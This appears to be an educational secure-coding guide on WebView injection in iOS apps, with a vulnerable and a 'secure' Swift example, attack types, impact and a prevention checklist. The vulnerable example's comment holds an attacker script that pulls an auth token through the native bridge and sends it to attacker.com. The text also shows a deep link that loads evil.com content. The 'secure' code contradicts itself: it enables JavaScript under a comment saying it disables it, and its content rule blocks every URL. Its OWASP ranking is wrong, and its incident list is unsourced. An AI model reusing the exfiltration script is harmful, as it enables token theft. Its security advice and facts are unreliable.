WebView Injection
WebView Injection occurs when attackers inject malicious content into mobile WebView components, exploiting the bridge between web content and native code. This vulnerability can lead to unauthorized access to device APIs, data theft, and complete application compromise.
What Is WebView Injection?
WebView Injection is a vulnerability that exploits mobile applications using WebView components to display web content. WebViews embed a browser engine (WebKit on iOS, Chromium on Android) inside native mobile apps, allowing developers to display HTML, CSS, and JavaScript content. While this provides flexibility, it also creates a dangerous attack surface when user-controlled or untrusted content is loaded without proper validation.
The core danger lies in the JavaScript bridge that connects web content to native code. Mobile apps often expose native functions to JavaScript running in the WebView, enabling web pages to access device capabilities like camera, location, contacts, or custom business logic. When an attacker can control the content loaded into a WebView, they can inject malicious JavaScript that calls these exposed native functions, bypassing the app's security boundaries.
WebView Injection is ranked as M8 (Code Tampering) in the OWASP Mobile Top 10, reflecting its prevalence in mobile applications. Unlike traditional web XSS, WebView Injection specifically targets the mobile context where JavaScript can directly invoke powerful native APIs. Attackers exploit this through malicious URLs, compromised servers, or man-in-the-middle attacks to inject scripts that steal credentials, exfiltrate sensitive data, or manipulate app behavior.
How It Works
The mobile application creates a WebView instance and loads content from a URL, local file, or HTML string. This could be triggered by user navigation, deep links, custom URL schemes, or third-party content integration.
The app configures a JavaScript bridge to enable web-to-native communication. On iOS, this is typically done via WKScriptMessageHandler, exposing native methods like getUserToken(), shareContent(), or processPayment() that can be called from JavaScript.
The attacker crafts a malicious URL or compromises a server that the app loads in its WebView. This injected content contains JavaScript designed to exploit the exposed native bridge, such as: webkit.messageHandlers.nativeBridge.postMessage({action: 'getUserToken'}).
When the WebView loads the attacker-controlled content, the injected JavaScript runs with full access to the JavaScript bridge. The malicious script calls native functions, reads data from the app's context, or manipulates the WebView's DOM to perform phishing attacks.
The native application receives the JavaScript bridge message and executes the corresponding native function without validating the origin or intent. This allows the attacker to steal authentication tokens, access device APIs, exfiltrate user data, or trigger unauthorized transactions.
Vulnerable Code Example
import UIKit
import WebKit
class WebViewController: UIViewController, WKScriptMessageHandler {
var webView: WKWebView!
override func viewDidLoad() {
super.viewDidLoad()
let config = WKWebViewConfiguration()
// VULNERABLE: JavaScript bridge exposed to all content
config.userContentController.add(self, name: "nativeBridge")
webView = WKWebView(frame: .zero, configuration: config)
view.addSubview(webView)
// VULNERABLE: Loading user-controlled URL without validation
if let urlString = UserDefaults.standard.string(forKey: "lastURL"),
let url = URL(string: urlString) {
webView.load(URLRequest(url: url))
}
}
// VULNERABLE: No origin validation on native function calls
func userContentController(_ userContentController: WKUserContentController,
didReceive message: WKScriptMessage) {
guard let body = message.body as? [String: Any],
let action = body["action"] as? String else { return }
// DANGEROUS: Executes any command from any web content
switch action {
case "getAuthToken":
let token = KeychainHelper.getToken()
webView.evaluateJavaScript("receiveToken('\(token)')")
case "shareData":
if let data = body["data"] as? String {
// Shares sensitive data without validation
UIPasteboard.general.string = data
}
default:
break
}
}
}
// An attacker creates a malicious page: https://evil.com/inject.html
// <script>
// webkit.messageHandlers.nativeBridge.postMessage({
// action: 'getAuthToken'
// });
// function receiveToken(token) {
// fetch('https://attacker.com/steal?token=' + token);
// }
// </script>Secure Code Example
import UIKit
import WebKit
class SecureWebViewController: UIViewController, WKScriptMessageHandler, WKNavigationDelegate {
var webView: WKWebView!
// SECURE: Allowlist of trusted domains
let trustedDomains = ["app.mycompany.com", "api.mycompany.com"]
override func viewDidLoad() {
super.viewDidLoad()
let config = WKWebViewConfiguration()
config.userContentController.add(self, name: "nativeBridge")
// SECURE: Disable JavaScript for untrusted content by default
config.preferences.javaScriptEnabled = true
// SECURE: Content Security Policy via WKContentRuleList
let blockList = """
[{
"trigger": {"url-filter": ".*"},
"action": {"type": "block"}
}]
"""
WKContentRuleListStore.default().compileContentRuleList(
forIdentifier: "ContentBlocker",
encodedContentRuleList: blockList
) { ruleList, error in
if let ruleList = ruleList {
config.userContentController.add(ruleList)
}
}
webView = WKWebView(frame: .zero, configuration: config)
webView.navigationDelegate = self
view.addSubview(webView)
// SECURE: Only load validated URLs
loadSecureURL("https://app.mycompany.com/dashboard")
}
// SECURE: URL validation before loading
func loadSecureURL(_ urlString: String) {
guard let url = URL(string: urlString),
let host = url.host,
trustedDomains.contains(host),
url.scheme == "https" else {
showError("Untrusted URL blocked")
return
}
webView.load(URLRequest(url: url))
}
// SECURE: Navigation policy enforcement
func webView(_ webView: WKWebView,
decidePolicyFor navigationAction: WKNavigationAction,
decisionHandler: @escaping (WKNavigationActionPolicy) -> Void) {
guard let url = navigationAction.request.url,
let host = url.host,
trustedDomains.contains(host) else {
decisionHandler(.cancel)
return
}
decisionHandler(.allow)
}
// SECURE: Origin validation on all native calls
func userContentController(_ userContentController: WKUserContentController,
didReceive message: WKScriptMessage) {
// SECURE: Validate message origin
guard let frameURL = message.frameInfo.request.url,
let host = frameURL.host,
trustedDomains.contains(host) else {
print("Blocked untrusted origin: \(message.frameInfo.request.url?.absoluteString ?? "unknown")")
return
}
guard let body = message.body as? [String: Any],
let action = body["action"] as? String else { return }
// SECURE: Limited bridge API with validation
switch action {
case "getPublicData":
// Only expose non-sensitive data
let safeData = ["version": "1.0", "platform": "iOS"]
sendToJS(safeData)
default:
print("Unknown or blocked action: \(action)")
}
}
func sendToJS(_ data: [String: String]) {
if let jsonData = try? JSONSerialization.data(withJSONObject: data),
let jsonString = String(data: jsonData, encoding: .utf8) {
webView.evaluateJavaScript("receiveData(\(jsonString))")
}
}
func showError(_ message: String) {
let alert = UIAlertController(title: "Security Error",
message: message,
preferredStyle: .alert)
alert.addAction(UIAlertAction(title: "OK", style: .default))
present(alert, animated: true)
}
}
// With these protections:
// - Only HTTPS URLs from trusted domains can load
// - JavaScript bridge only responds to trusted origins
// - Navigation is restricted to allowlisted domains
// - Sensitive APIs are never exposed to WebViewTypes of WebView Injection
JavaScript Bridge Exploitation
The most common WebView attack vector. Attackers inject malicious JavaScript that calls native functions exposed through the JavaScript bridge. On iOS, this targets WKScriptMessageHandler methods, while Android apps using @JavascriptInterface are vulnerable. Successful exploitation grants attackers access to native APIs like file system access, camera, contacts, authentication tokens, or custom business logic without proper authorization checks.
URL Scheme Hijacking
Attackers exploit deep links and custom URL schemes to load malicious content into WebViews. Mobile apps often accept URLs via intent filters (Android) or URL schemes (iOS) without proper validation. An attacker sends a crafted URL like myapp://webview?url=https://evil.com/inject, causing the app to load attacker-controlled content with full JavaScript bridge access. This is especially dangerous when combined with social engineering or phishing campaigns.
Content Injection
Occurs when WebViews load content over insecure channels or from compromised servers. Man-in-the-middle attackers on public WiFi networks can inject malicious scripts into HTTP responses loaded by WebViews. Similarly, if a legitimate server is compromised, attackers can inject persistent malicious code into web pages that the app trusts. Even HTTPS connections can be vulnerable if the app accepts invalid certificates or disables certificate pinning for WebView connections.
Impact
WebView Injection can have severe consequences for mobile applications and their users. The impact depends on what native APIs are exposed through the JavaScript bridge and the sensitivity of the data the application handles.
Attackers can steal authentication tokens, session IDs, API keys, or user credentials stored in the app's context. Injected JavaScript can access cookies, local storage, or call native functions that return sensitive data. This stolen information can be exfiltrated to attacker-controlled servers for account takeover or identity theft.
Through the JavaScript bridge, attackers gain access to powerful native device capabilities that would normally require explicit user permission. This includes accessing camera, microphone, GPS location, contacts, photo library, or custom app functions like payment processing or data export.
Attackers can inject fake login forms, payment screens, or security warnings into the WebView to trick users into entering sensitive information. Since the malicious content appears within the trusted app context, users are more likely to fall victim to these phishing attacks.
In severe cases, WebView vulnerabilities combined with JavaScript bridge exploitation can lead to remote code execution on the device. Attackers may be able to download and execute additional malicious payloads, install spyware, or gain persistent access to the device through exposed native file system APIs.
Prevention Checklist
Implement strict URL validation with an allowlist of trusted domains. Never load user-controlled URLs directly into WebViews. Always validate the scheme (HTTPS only), domain, and path before loading. Reject URLs from untrusted sources or those received via deep links without proper authentication.
Always validate the origin of JavaScript bridge messages before executing native code. Use WKScriptMessage.frameInfo.request.url on iOS or check the frame origin on Android. Only respond to messages from known, trusted domains. Never expose sensitive native functions to untrusted web content.
Follow the principle of least privilege when designing the JavaScript bridge API. Only expose the minimum functionality required for your app's features. Never expose authentication tokens, encryption keys, or direct access to sensitive APIs. Design specific, limited bridge functions rather than generic command execution interfaces.
Use WKContentRuleList on iOS or WebView CSP headers on Android to restrict what content can load in the WebView. Block inline scripts, restrict allowed script sources to trusted domains, and prevent eval() usage. This provides defense-in-depth against injected malicious scripts.
Never load HTTP content in WebViews. Enforce HTTPS for all WebView content and implement certificate pinning to prevent man-in-the-middle attacks. Use WKNavigationDelegate to validate SSL certificates and reject invalid or untrusted certificates. This protects against content injection via compromised networks.
Conduct regular security audits focusing on WebView implementations and JavaScript bridge code. Use mobile security testing tools like MobSF or Frida to analyze WebView configurations. Perform penetration testing with various injection techniques. Review all native functions exposed to JavaScript and ensure proper origin validation.
Real-World Examples
Facebook SDK WebView Vulnerability
Security researchers discovered that Facebook's Android SDK contained a WebView vulnerability that could be exploited via malicious OAuth redirect URLs. Attackers could inject JavaScript to steal access tokens by crafting special deep links. Facebook patched the vulnerability, but thousands of apps using the affected SDK versions remained vulnerable until developers updated.
Google Chrome Mobile WebView XSS
A critical vulnerability in Chrome's Android WebView component allowed attackers to inject JavaScript that could escape the WebView sandbox and access native Android APIs. Apps loading untrusted content in WebViews were vulnerable to remote code execution. Google issued an urgent security update affecting billions of Android devices worldwide.
iOS Banking App WebView Exploitation
Multiple banking apps were found vulnerable to WebView injection attacks where malicious deep links could load attacker-controlled content with access to the JavaScript bridge. Researchers demonstrated stealing authentication tokens and initiating unauthorized transactions by injecting JavaScript through specially crafted URLs. The affected banks had to issue emergency app updates and password resets.
E-commerce App JavaScript Bridge RCE
A popular e-commerce mobile app exposed file system operations through its JavaScript bridge without proper origin validation. Security researchers demonstrated how attackers could inject malicious JavaScript via compromised promotional pages to read arbitrary files, steal payment information, and execute native code. The vulnerability affected over 50 million users before being patched.
Ready to Test Your Knowledge?
Put what you have learned into practice. Try identifying and fixing WebView Injection vulnerabilities in our interactive coding challenges, or explore more security guides to deepen your understanding.